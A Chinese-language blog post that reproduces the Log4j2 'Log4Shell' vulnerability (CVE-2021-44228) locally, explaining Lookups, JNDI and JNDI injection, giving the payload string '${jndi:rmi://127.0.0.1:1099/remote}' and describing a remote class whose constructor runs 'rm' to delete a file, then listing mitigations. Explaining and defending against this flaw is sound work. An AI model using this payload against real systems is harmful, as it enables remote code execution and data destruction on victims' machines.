说起核弹,你可能会想到这样的↓
也可能是这样的↓
但是在今年的12月,它可能是这样的↓
在今年的12月,大家讨论最多的应该就是Log4j2的核弹级漏洞。
幸灾乐祸的人表示在使用 Logback。
劫后余生的人表示 ****。
流啤的人表示有JNDI防注入。
可能还有一部分人,脑袋上可能都是问号,
不知道是什么漏洞
为什么是核弹级的
怎么触发的
又要怎么规避呢
好的,我就属于脑袋上全是问号的这一类,
所以也实践复现了一把,
一起来看看如何“丢核弹”。
在实际操作之前,我们先来了解两个概念,
Log4j2 Lookups 和 JNDI。
Log4j2 Lookups
Lookups
可以理解为一些特定类型的插件,这些插件实现了StrLookup
接口,能够在Log4j配置中的特定位置写入指定数据。
如何识别到需要通过插件来解析并写入数据呢?
当遇到指定格式的内容时(通常是${ xxx }
),就会进行判断。
举个栗子,插件中就包含JavaLookup,可以实现Java环境信息的注入,
1 |
|
这样就能在最终输出的日志头部,包含当前Java runtime、vm以及os环境信息。
官方提供的Lookups种类也不少,
每种Lookup都具有不同的功能,具体可以参考官方说明。
(Log4j – Log4j 2 Lookups)
那么,看上去只是一个作用于配置文件的扩展型模块,为什么会导致这么大的问题呢?
关键就在其中的一个扩展,JndiLookup。
JNDI
JNDI(Java Naming and Directory Interface, Java命名和目录接口)
是SUN公司提供的一种标准的Java命令系统接口,服务供应商可以通过JNDI API映射为特定的名字及目录对外提供服务,服务使用者则可以通过服务地址及服务名进行使用。JNDI 可访问的现有目录及服务包括DNS、LDAP、RMI等。
JNDI主要分为三个层面:
模块 | 说明 |
---|---|
JNDI API | 用于和JAVA应用通信的上层API |
Naming Manager | 命名管理服务,统一管理下层服务供应商提供的服务 |
JNDI SPI | 服务供应接口,由具体的服务供应商提供具体实现,例如RMI、LDAP等 |
通过JNDI可以对上层应用提供服务,以RMI为例看下面的例子:
1 |
|
整个流程很简单,
- 服务供应商构建了一个远程服务,服务包装了一个引用对象
- 通过服务中心对外暴露远程服务,并命名为 remote
- 客户端获取服务中心,搜索并获取名为 remote 的服务
- 调用remote服务的execCommand方法
- 最终输出success
那么问题来了,JDNI为何和这次的漏洞有关?
别着急,先来了解另外一个东西,
JNDI注入
JNDI注入
看上去JNDI只是定义了一套标准接口,服务供应商能对外提供服务,但是这个过程中是存在一定的安全风险的。
在2016年的BlackHat上,pentester 有提到过一个议题《 A Journey From JNDI LDAP Manipulation To RCE》,介绍了Java中利用 JNDI 的协议动态转化注入加载远程代码,从而实现RCE的方法。
要进行注入攻击,需要满足以下几个条件:
- JNDI 调用中的
lookup()
参数可控 - 使用带协议的 URI 进行动态协议转换
- 构建远程服务实例,在客户端获取远程服务实例信息并进行初始化时,触发攻击
以刚才的RMIClient.kt
为例,我们略作修改,
1 |
|
这样首先满足第一个,lookup()
参数由用户决定。同时,业务逻辑中包含方法可以通过带协议URI触发远程服务查询,在本例中,我们输入rmi://127.0.0.1:1099/remote
,就会将服务供应商提供的RemoteApi类信息传递到客户端本地,并构建服务实例。
走到这一步,你可能也会有疑问,
只是获取了服务实例并初始化,并未做方法调用,要怎么触发攻击呢?
这就回归到Java类首次加载时流程,
除了加载基础的类信息,同时会对类中的静态变量、代码块进行初始化,然后初始化普通变量,调用构造函数。
想到了吗,
关键就在静态代码块和构造函数,
在首次类加载并进行实例化的时候会进行调用。
我们对RemoteApi.kt
进行略微修改,
1 |
|
我们在构造函数中,通过Java Application Runtime执行命令rm
,下图为执行前后的结果。
执行前data
文件还在,执行后就被删除了。
由此可以看出,一旦JNDI注入成功,产生的后果是很可怕的,基本可以在受害者机器上执行任意操作。
Log4j2 漏洞
看到这里,可能还是没能解决你心里的疑惑,
这一切和Log4j2有什么关系呢,
虽然JNDI注入可以实现攻击,
但是除非我自己在日志配置文件里引入了JNDILookups,
否则也无法对注入的JNDI URI协议进行转换和解析对吧?
那么触发核弹的按钮究竟在哪?
很简单,
输出一条日志就可以了。
我们来修改一下RMIClient.kt
,全部的代码如下:
1 |
|
在客户端,我们输入${jndi:rmi://127.0.0.1:1099/remote}
,下图为执行结果。
在这段例子中,我们不再显式查找对应的JNDI RMI服务,只是输出了一条日志,同样触发了攻击。
这是为什么呢?
核弹的按钮
从上面的例子来看,
只是简单的做了日志输出,
为什么会触发攻击呢?
其实关键动作就触发在 Log4j2 输出日志的过程中。
在输出日志的 Message Body (%m/%msg)时, MessagePatternConverter
会进行消息格式化,会使用StrSubstitutor
的substitute(...)
方法,当判断发现变量以${
作为前缀,并以}
作为后缀时,就会进入字符串替换逻辑,最终进入resolveVariable(...)
进行变量解析,其中解析器就包含了JNDILookup。
完整的调用栈如下:
所以,当在输出日志时,如果发现${...}
格式的内容时,就会进行Lookup解析,我们注入的JNDI RMI就会被触发,从远程服务供应商获取服务并实例化,触发攻击。
如何避免被攻击
- 升级Log4j2,官方发布了最新的2.15版本可以解决这个问题。
(实测2.15.0已经修复,从Maven仓库中心看到的漏洞列表来看,也没有了CVE-2021-44228) - 修改log4j2配置,关闭MessageLookup,对于JAVA项目,可以直接在启动参数上添加
-Dlog4j2.formatMsgNoLookups=true
(实测有效,关闭log4j2的Message Body的lookups解析) - 防火墙,类似阿里云WAF等防火墙都具备防注入的功能
- JAVA Agent 改写,也是集团平台在用的方法。在类加载的过程中识别到JNIManager并进行改写,避免JNILookups解析。
写在最后
其实在我自己复现这个漏洞之前,是没有意识到问题的严重性的,Log4j2
作为JAVA生态中的基础组件,影响范围也非常的大。
安全问题不容小觑。